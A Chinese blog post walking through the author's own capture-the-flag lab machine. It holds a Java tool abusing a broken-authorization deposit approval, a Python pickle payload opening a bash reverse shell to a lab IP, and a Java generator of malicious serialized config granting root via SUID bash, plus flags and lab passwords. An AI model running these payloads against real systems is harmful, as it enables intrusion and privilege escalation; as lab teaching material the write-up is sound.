avatar🌌
DingTomDingTom的博客

Next Generation Static Blog Framework.

记录我的学习和生活

MazeSec-Market_vs_Bank

这个靶机我是我制作的,因为方便上传所以不带有图片

信息收集

bash
$ nmap -sn 192.168.31.0/24 | grep PCS -B 2
Nmap scan report for bank-server (192.168.31.116)
Host is up (0.00015s latency).
MAC Address: 08:00:27:FC:75:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
bash
$ nmap -p- 192.168.31.116 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 07:44 EST
Nmap scan report for bank-server (192.168.31.116)
Host is up (0.00076s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
3306/tcp  closed mysql
8000/tcp  open   http-alt
14646/tcp open   unknown
MAC Address: 08:00:27:FC:75:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds

发现两个 Web 服务:

可在商店页面注册用户并下载 bank-client-1.0.0.jar

注册示例凭证:

用户名: MazeSec_test
邮箱: MazeSec_test@mazesec.com
密码: MaseSec@Passwd

银行客户端使用

运行银行客户端:

bash
java -jar bank-client-1.0.0.jar

服务器地址填写靶机 IP,端口默认 14646。

尝试注册账号示例:

用户名: MazeSec_test
密码: MaseSec@Passwd
真实姓名: MazeSec
身份证号: 101010101010101010

大部分功能无法使用。尝试弱密码登录:

test / test

登录后发现消息功能中有管理员提示:

[2026-01-07 07:07:45] 我:
test

[2026-01-07 07:09:49] admin:
好了,又有一个新功能加上了
安全部说我这里有啥越权,啊,怎么会有人能找的到哪里有越权,哈哈

提示存在越权漏洞。

越权利用与 CLI 工具开发

使用 Jar Analyzer 解包客户端,发现无加密保护。

编写命令行工具 BankCli.java 方便测试(放在 com/bank/client/cli 目录下):

bash
$ mkdir out
$ javac -d ./out -sourcepath . ./com/bank/client/cli/BankCli.java

BankCli.java 完整代码:

java
package com.bank.client.cli;

import com.bank.client.BankClient;
import com.bank.entity.Account;
import com.bank.entity.DepositRequest;
import com.bank.entity.Message;
import com.bank.entity.Transaction;
import com.bank.entity.User;
import com.bank.entity.WithdrawalToken;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.math.BigDecimal;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;

public class BankCli {
   private static final DateTimeFormatter DATE_TIME_FORMATTER = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");

   public static void main(String[] args) {
      CliArgs cliArgs = CliArgs.parse(args);
      if (cliArgs.help) {
         printUsage();
         return;
      }

      BankClient client = new BankClient(cliArgs.host, cliArgs.port);
      if (!client.connect()) {
         System.err.println("无法连接到服务器: " + cliArgs.host + ":" + cliArgs.port);
         return;
      }

      try {
         if (cliArgs.command == null || cliArgs.command.trim().isEmpty() || "repl".equalsIgnoreCase(cliArgs.command)) {
            runRepl(client);
            return;
         }

         Object response = executeCommand(client, cliArgs.command, cliArgs.commandArgs);
         printResponse(response);
      } catch (Exception e) {
         e.printStackTrace();
         System.exit(2);
      } finally {
         client.disconnect();
      }
   }

   private static void runRepl(BankClient client) throws Exception {
      BufferedReader reader = new BufferedReader(new InputStreamReader(System.in, "UTF-8"));
      System.out.println("已连接到服务器。输入 help 查看命令,输入 exit 退出。");

      while (true) {
         System.out.print("bank> ");
         String line = reader.readLine();
         if (line == null) {
            break;
         }

         line = line.trim();
         if (line.isEmpty()) {
            continue;
         }

         if ("exit".equalsIgnoreCase(line) || "quit".equalsIgnoreCase(line)) {
            break;
         }

         if ("help".equalsIgnoreCase(line)) {
            printUsage();
            continue;
         }

         List<String> tokens = tokenize(line);
         if (tokens.isEmpty()) {
            continue;
         }

         String command = tokens.get(0);
         String[] cmdArgs = tokens.subList(1, tokens.size()).toArray(new String[0]);
         try {
            Object response = executeCommand(client, command, cmdArgs);
            printResponse(response);
         } catch (Exception e) {
            e.printStackTrace();
         }
      }
   }

   private static Object executeCommand(BankClient client, String command, String[] args) throws Exception {
      switch(command.toLowerCase(Locale.ROOT)) {
      case "ping":
         return client.sendRequest("PING");
      case "login":
         requireArgs(command, args, 2);
         return client.sendRequest("LOGIN", args[0], args[1]);
      case "register": {
         requireArgs(command, args, 4);
         User.UserType userType = args.length >= 5 ? User.UserType.valueOf(args[4].toUpperCase(Locale.ROOT)) : User.UserType.CUSTOMER;
         User newUser = new User(args[0], args[1], args[2], args[3], userType);
         return client.sendRequest("REGISTER", newUser);
      }
      case "accounts-all":
         return client.sendRequest("GET_ALL_ACCOUNTS");
      case "accounts":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_ACCOUNTS", Integer.valueOf(args[0]));
      case "account-status":
         requireArgs(command, args, 2);
         return client.sendRequest("UPDATE_ACCOUNT_STATUS", args[0], args[1].toUpperCase(Locale.ROOT));
      case "balance":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_BALANCE", args[0]);
      case "transactions": {
         requireArgs(command, args, 1);
         String accountNumber = args[0];
         Account account = (Account)client.sendRequest("GET_BALANCE", accountNumber);
         if (account == null || account.getId() == null) {
            return null;
         }
         return client.sendRequest("GET_TRANSACTIONS", account.getId());
      }
      case "transactions-by-id":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_TRANSACTIONS", Integer.valueOf(args[0]));
      case "account-create": {
         requireArgs(command, args, 2);
         Account account = new Account(args[0], Integer.valueOf(args[1]), BigDecimal.ZERO);
         return client.sendRequest("CREATE_ACCOUNT", account);
      }
      case "deposit-submit":
         requireArgs(command, args, 3);
         return client.sendRequest("SUBMIT_DEPOSIT_REQUEST", args[0], Integer.valueOf(args[1]), new BigDecimal(args[2]));
      case "deposit-pending":
         return client.sendRequest("GET_PENDING_DEPOSIT_REQUESTS");
      case "deposit-my":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_MY_DEPOSIT_REQUESTS", Integer.valueOf(args[0]));
      case "deposit-approve": {
         requireArgs(command, args, 2);
         String remark = args.length >= 3 ? args[2] : "管理员批准";
         return client.sendRequest("APPROVE_DEPOSIT_REQUEST", Integer.valueOf(args[0]), Integer.valueOf(args[1]), remark);
      }
      case "deposit-reject": {
         requireArgs(command, args, 3);
         return client.sendRequest("REJECT_DEPOSIT_REQUEST", Integer.valueOf(args[0]), Integer.valueOf(args[1]), args[2]);
      }
      case "withdraw":
         requireArgs(command, args, 3);
         return client.sendRequest("WITHDRAW_WITH_TOKEN", args[0], Integer.valueOf(args[1]), new BigDecimal(args[2]));
      case "tokens":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_USER_TOKENS", Integer.valueOf(args[0]));
      case "token-cancel":
         requireArgs(command, args, 1);
         return client.sendRequest("CANCEL_TOKEN", args[0]);
      case "identity-hash":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_IDENTITY_HASH", Integer.valueOf(args[0]));
      case "password-change":
         requireArgs(command, args, 3);
         return client.sendRequest("CHANGE_PASSWORD", Integer.valueOf(args[0]), args[1], args[2]);
      case "messages-user":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_USER_MESSAGES", Integer.valueOf(args[0]));
      case "messages-received":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_RECEIVED_MESSAGES", Integer.valueOf(args[0]));
      case "messages-unread-customers":
         return client.sendRequest("GET_ALL_UNREAD_CUSTOMER_MESSAGES");
      case "message-send":
         requireArgs(command, args, 3);
         return client.sendRequest("SEND_MESSAGE", Integer.valueOf(args[0]), Integer.valueOf(args[1]), args[2]);
      case "message-send-admins":
         requireArgs(command, args, 2);
         return client.sendRequest("SEND_MESSAGE_TO_ADMINS", Integer.valueOf(args[0]), args[1]);
      case "message-mark-read":
         requireArgs(command, args, 1);
         return client.sendRequest("MARK_MESSAGE_READ", Integer.valueOf(args[0]));
      case "conversation":
         requireArgs(command, args, 2);
         return client.sendRequest("GET_CONVERSATION", Integer.valueOf(args[0]), Integer.valueOf(args[1]));
      case "unread-count":
         requireArgs(command, args, 1);
         return client.sendRequest("GET_UNREAD_COUNT", Integer.valueOf(args[0]));
      case "raw": {
         requireArgs(command, args, 1);
         String rawCmd = args[0];
         Object[] params = parseRawParams(args, 1);
         return client.sendRequest(rawCmd, params);
      }
      default:
         throw new IllegalArgumentException("未知命令: " + command);
      }
   }

   private static Object[] parseRawParams(String[] args, int offset) {
      if (args.length <= offset) {
         return new Object[0];
      }

      List<Object> params = new ArrayList<>();
      for (int i = offset; i < args.length; i++) {
         params.add(parseTypedArg(args[i]));
      }
      return params.toArray(new Object[0]);
   }

   private static Object parseTypedArg(String token) {
      if (token == null) {
         return null;
      }

      if (token.startsWith("i:")) {
         return Integer.valueOf(token.substring(2));
      }
      if (token.startsWith("d:")) {
         return new BigDecimal(token.substring(2));
      }
      if (token.startsWith("b:")) {
         return Boolean.valueOf(token.substring(2));
      }
      if (token.startsWith("s:")) {
         return token.substring(2);
      }
      return token;
   }

   private static List<String> tokenize(String input) {
      List<String> tokens = new ArrayList<>();
      StringBuilder current = new StringBuilder();
      boolean inQuotes = false;
      char quoteChar = 0;

      for (int i = 0; i < input.length(); i++) {
         char c = input.charAt(i);
         if (inQuotes) {
            if (c == quoteChar) {
               inQuotes = false;
               continue;
            }
            if (c == '\\' && i + 1 < input.length()) {
               char next = input.charAt(i + 1);
               if (next == quoteChar || next == '\\') {
                  current.append(next);
                  i++;
                  continue;
               }
            }
            current.append(c);
         } else {
            if (c == '"' || c == '\'') {
               inQuotes = true;
               quoteChar = c;
               continue;
            }
            if (Character.isWhitespace(c)) {
               if (current.length() > 0) {
                  tokens.add(current.toString());
                  current.setLength(0);
               }
               continue;
            }
            current.append(c);
         }
      }

      if (current.length() > 0) {
         tokens.add(current.toString());
      }
      return tokens;
   }

   private static void requireArgs(String command, String[] args, int min) {
      if (args == null || args.length < min) {
         throw new IllegalArgumentException(command + " 参数不足,至少需要 " + min + " 个参数");
      }
   }

   private static void printResponse(Object response) {
      if (response == null) {
         System.out.println("null");
         return;
      }

      if (response instanceof List) {
         printList((List)response);
         return;
      }

      if (response instanceof Account) {
         printAccount((Account)response);
         return;
      }

      if (response instanceof DepositRequest) {
         printDepositRequest((DepositRequest)response);
         return;
      }

      if (response instanceof Transaction) {
         printTransaction((Transaction)response);
         return;
      }

      if (response instanceof WithdrawalToken) {
         printWithdrawalToken((WithdrawalToken)response);
         return;
      }

      if (response instanceof User) {
         printUser((User)response);
         return;
      }

      System.out.println(String.valueOf(response));
   }

   private static void printList(List list) {
      if (list == null) {
         System.out.println("null");
         return;
      }

      if (list.isEmpty()) {
         System.out.println("[]");
         return;
      }

      Object first = list.get(0);
      if (first instanceof Account) {
         for (Object item : list) {
            printAccount((Account)item);
         }
         return;
      }
      if (first instanceof DepositRequest) {
         for (Object item : list) {
            printDepositRequest((DepositRequest)item);
         }
         return;
      }
      if (first instanceof Transaction) {
         for (Object item : list) {
            printTransaction((Transaction)item);
         }
         return;
      }
      if (first instanceof WithdrawalToken) {
         for (Object item : list) {
            printWithdrawalToken((WithdrawalToken)item);
         }
         return;
      }
      if (first instanceof Message) {
         for (Object item : list) {
            System.out.println(String.valueOf(item));
         }
         return;
      }

      for (Object item : list) {
         System.out.println(String.valueOf(item));
      }
   }

   private static void printUser(User user) {
      System.out.println("User{id=" + user.getId() + ", username=" + user.getUsername() + ", realName=" + user.getRealName() + ", userType=" + user.getUserType() + ", identityHash=" + user.getIdentityHash() + "}");
   }

   private static void printAccount(Account account) {
      System.out.println("Account{id=" + account.getId() + ", accountNumber=" + account.getAccountNumber() + ", userId=" + account.getUserId() + ", balance=" + account.getBalance() + ", status=" + account.getAccountStatus() + ", createdAt=" + formatDateTime(account.getCreatedAt()) + "}");
   }

   private static void printDepositRequest(DepositRequest request) {
      System.out.println("DepositRequest{id=" + request.getId() + ", accountNumber=" + request.getAccountNumber() + ", userId=" + request.getUserId() + ", amount=" + request.getAmount() + ", status=" + request.getStatus() + ", requestTime=" + formatDateTime(request.getRequestTime()) + ", processTime=" + formatDateTime(request.getProcessTime()) + ", adminId=" + request.getAdminId() + ", remark=" + request.getRemark() + "}");
   }

   private static void printTransaction(Transaction trans) {
      System.out.println("Transaction{id=" + trans.getId() + ", accountId=" + trans.getAccountId() + ", type=" + trans.getTransactionType() + ", amount=" + trans.getAmount() + ", balanceAfter=" + trans.getBalanceAfter() + ", createdAt=" + formatDateTime(trans.getCreatedAt()) + ", description=" + trans.getDescription() + "}");
   }

   private static void printWithdrawalToken(WithdrawalToken token) {
      System.out.println("WithdrawalToken{id=" + token.getId() + ", accountNumber=" + token.getAccountNumber() + ", userId=" + token.getUserId() + ", amount=" + token.getAmount() + ", status=" + token.getStatus() + ", createdAt=" + formatDateTime(token.getCreatedAt()) + ", usedAt=" + formatDateTime(token.getUsedAt()) + ", usedBy=" + token.getUsedBy() + ", tokenHash=" + token.getTokenHash() + "}");
   }

   private static String formatDateTime(LocalDateTime dt) {
      return dt == null ? "-" : dt.format(DATE_TIME_FORMATTER);
   }

   private static void printUsage() {
      String usage = ""
            + "用法:\n"
            + "  java com.bank.client.cli.BankCli --host <host> --port <port> <command> [args...]\n"
            + "  java com.bank.client.cli.BankCli --host <host> --port <port> repl\n"
            + "\n"
            + "通用参数:\n"
            + "  --host <host>    默认 127.0.0.1\n"
            + "  --port <port>    默认 14646\n"
            + "\n"
            + "常用命令:\n"
            + "  accounts-all\n"
            + "  accounts <userId>\n"
            + "  account-status <accountNumber> <ACTIVE|FROZEN|CLOSED>\n"
            + "  balance <accountNumber>\n"
            + "  transactions <accountNumber>\n"
            + "  transactions-by-id <accountId>\n"
            + "  account-create <accountNumber> <userId>\n"
            + "  deposit-submit <accountNumber> <userId> <amount>\n"
            + "  deposit-pending\n"
            + "  deposit-my <userId>\n"
            + "  deposit-approve <requestId> <adminId> [remark]\n"
            + "  deposit-reject <requestId> <adminId> <remark>\n"
            + "  withdraw <accountNumber> <userId> <amount>\n"
            + "  tokens <userId>\n"
            + "  token-cancel <tokenHash>\n"
            + "  identity-hash <userId>\n"
            + "  password-change <userId> <oldPassword> <newPassword>\n"
            + "  messages-user <userId>\n"
            + "  messages-received <userId>\n"
            + "  messages-unread-customers\n"
            + "  message-send <senderId> <receiverId> <content>\n"
            + "  message-send-admins <senderId> <content>\n"
            + "  message-mark-read <messageId>\n"
            + "  conversation <userId> <otherUserId>\n"
            + "  unread-count <userId>\n"
            + "  raw <COMMAND> [s:文本 i:整数 d:小数 b:true|false ...]\n";
      System.out.println(usage);
   }

   private static class CliArgs {
      final String host;
      final int port;
      final String command;
      final String[] commandArgs;
      final boolean help;

      private CliArgs(String host, int port, String command, String[] commandArgs, boolean help) {
         this.host = host;
         this.port = port;
         this.command = command;
         this.commandArgs = commandArgs;
         this.help = help;
      }

      static CliArgs parse(String[] args) {
         String host = "127.0.0.1";
         int port = 14646;
         boolean help = false;

         List<String> rest = new ArrayList<>();
         for (int i = 0; args != null && i < args.length; i++) {
            String a = args[i];
            if ("--host".equals(a) && i + 1 < args.length) {
               host = args[++i];
               continue;
            }
            if ("--port".equals(a) && i + 1 < args.length) {
               port = Integer.parseInt(args[++i]);
               continue;
            }
            if ("--help".equals(a) || "-h".equals(a)) {
               help = true;
               continue;
            }
            rest.add(a);
         }

         String command = rest.isEmpty() ? null : rest.get(0);
         String[] commandArgs = rest.size() <= 1 ? new String[0] : rest.subList(1, rest.size()).toArray(new String[0]);
         return new CliArgs(host, port, command, commandArgs, help);
      }
   }
}

运行 CLI 工具并执行命令:

bash
$ java -cp ./out com.bank.client.cli.BankCli --host 192.168.31.116 --port 14646
bash
bank> accounts-all
Account{id=5, accountNumber=123, userId=7, balance=10000.00, status=ACTIVE, createdAt=2026-01-07 07:08:09}

使用自己的账号创建账户并提交大额存款申请,随后通过越权使用 deposit-approve 批准(尝试不同 adminId,最终 adminId=3 成功)。

bash
bank> deposit-approve 10 3
true

此时账户余额变为 66779988.00

生成身份认证 Hash 和取款凭证后,在市场系统中购买商品,收到提示:

孩子,我跟这个网站作者有点过节,去 /r00t_rooteabcsd.html 看看

bash
$ curl 'http://192.168.31.116/r00t_rooteabcsd.html'
root:toorcatshadow

使用此凭证登录市场系统后台,在【系统配置】中发现 Pickle 反序列化漏洞

Pickle 反序列化反弹 Shell

python
import pickle
import base64

class ReverseShell:
    def __reduce__(self):
        import os
        cmd = "bash -c 'bash -i >& /dev/tcp/192.168.31.187/4444 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(payload)
bash
$ python encode_reverse.py
gASVTwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDRiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4zMi80NDQ0IDA+JjEnlIWUUpQu

成功获得 banker 用户权限:

bash
(remote) banker@bank-server:/opt/market$ id
uid=1000(banker) gid=1000(banker) groups=1000(banker)
bash
(remote) banker@bank-server:/home/banker$ cat user.txt
flag{user-c501af335fb8e453397435b67e78a87f807b9e640c4503aa915dde38123c3548}

提权

bash
(remote) banker@bank-server:/home/banker$ sudo -l
User banker may run the following commands on bank-server:
    (ALL) NOPASSWD: /usr/bin/bank-admin-tool
bash
(remote) banker@bank-server:/home/banker$ cat /usr/bin/bank-admin-tool
#!/bin/bash

/usr/bin/java -jar /opt/bank-admin-tool-1.0.0.jar

反编译 bank-admin-tool-1.0.0.jar,在 AdminConfig.java 中发现反序列化命令执行漏洞:

java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
      in.defaultReadObject();
      if (this.initCommand != null && !this.initCommand.isEmpty()) {
         try {
            Runtime.getRuntime().exec(this.initCommand);
         } catch (IOException var3) {
         }
      }
}

编写 ExploitGenerator.java 生成恶意配置文件:

ExploitGenerator.java 完整代码:

java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

import com.bank.admin.AdminConfig;

/**
 * 生成恶意配置文件用于反序列化攻击
 */
public class ExploitGenerator {
   
    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            System.out.println("Usage: java ExploitGenerator <command>");
            System.out.println("");
            System.out.println("Examples:");
            System.out.println("  java ExploitGenerator \"touch /tmp/pwned\"");
            return;
        }
       
        String command = args[0];
        String filename = "exploit.config";
       
        // 创建恶意配置
        AdminConfig malicious = new AdminConfig();
        malicious.setServerHost("localhost");
        malicious.setServerPort(14646);
        malicious.setInitCommand(command);  // 设置恶意命令
       
        // 序列化到文件
        try (FileOutputStream fos = new FileOutputStream(filename);
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(malicious);
        }
       
        System.out.println("[+] Malicious config generated: " + filename);
        System.out.println("[+] Command: " + command);
        System.out.println("");
        System.out.println("Next steps:");
        System.out.println("1. Transfer " + filename + " to target server");
        System.out.println("2. Run bank-admin-tool on target");
        System.out.println("3. Select: 5 (Configuration Management) -> 3 (Import Configuration)");
        System.out.println("4. Enter filename: " + filename);
        System.out.println("5. Command will execute during deserialization");
    }
}

生成并使用恶意配置:

bash
$ java ExploitGenerator "chmod u+s /bin/bash"

bank-admin-tool 中导入 exploit.config,成功使 /bin/bash 具有 SUID 权限:

bash
(remote) banker@bank-server:/home/banker$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
bash
(remote) root@bank-server:/root# id
uid=1000(banker) gid=1000(banker) euid=0(root) groups=1000(banker)

(remote) root@bank-server:/root# cat root.txt
flag{root-22ca34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da}

相关凭证:

  • 市场后台:admin / hellojavabadpython(位于 /var/www/html/p@ss_aD3i
  • root 密码:root / 5350f1ea8b3b526d1506f58d3bce0960989f9e2dfcf972ab8c6c0fed8f2ddcff
  • banker 用户密码:banker / Adsdlfsadkcoasewiofn
Vulnyx-Solar
Valaxy v0.28.0-beta.7 驱动|主题-Yunv0.28.0-beta.7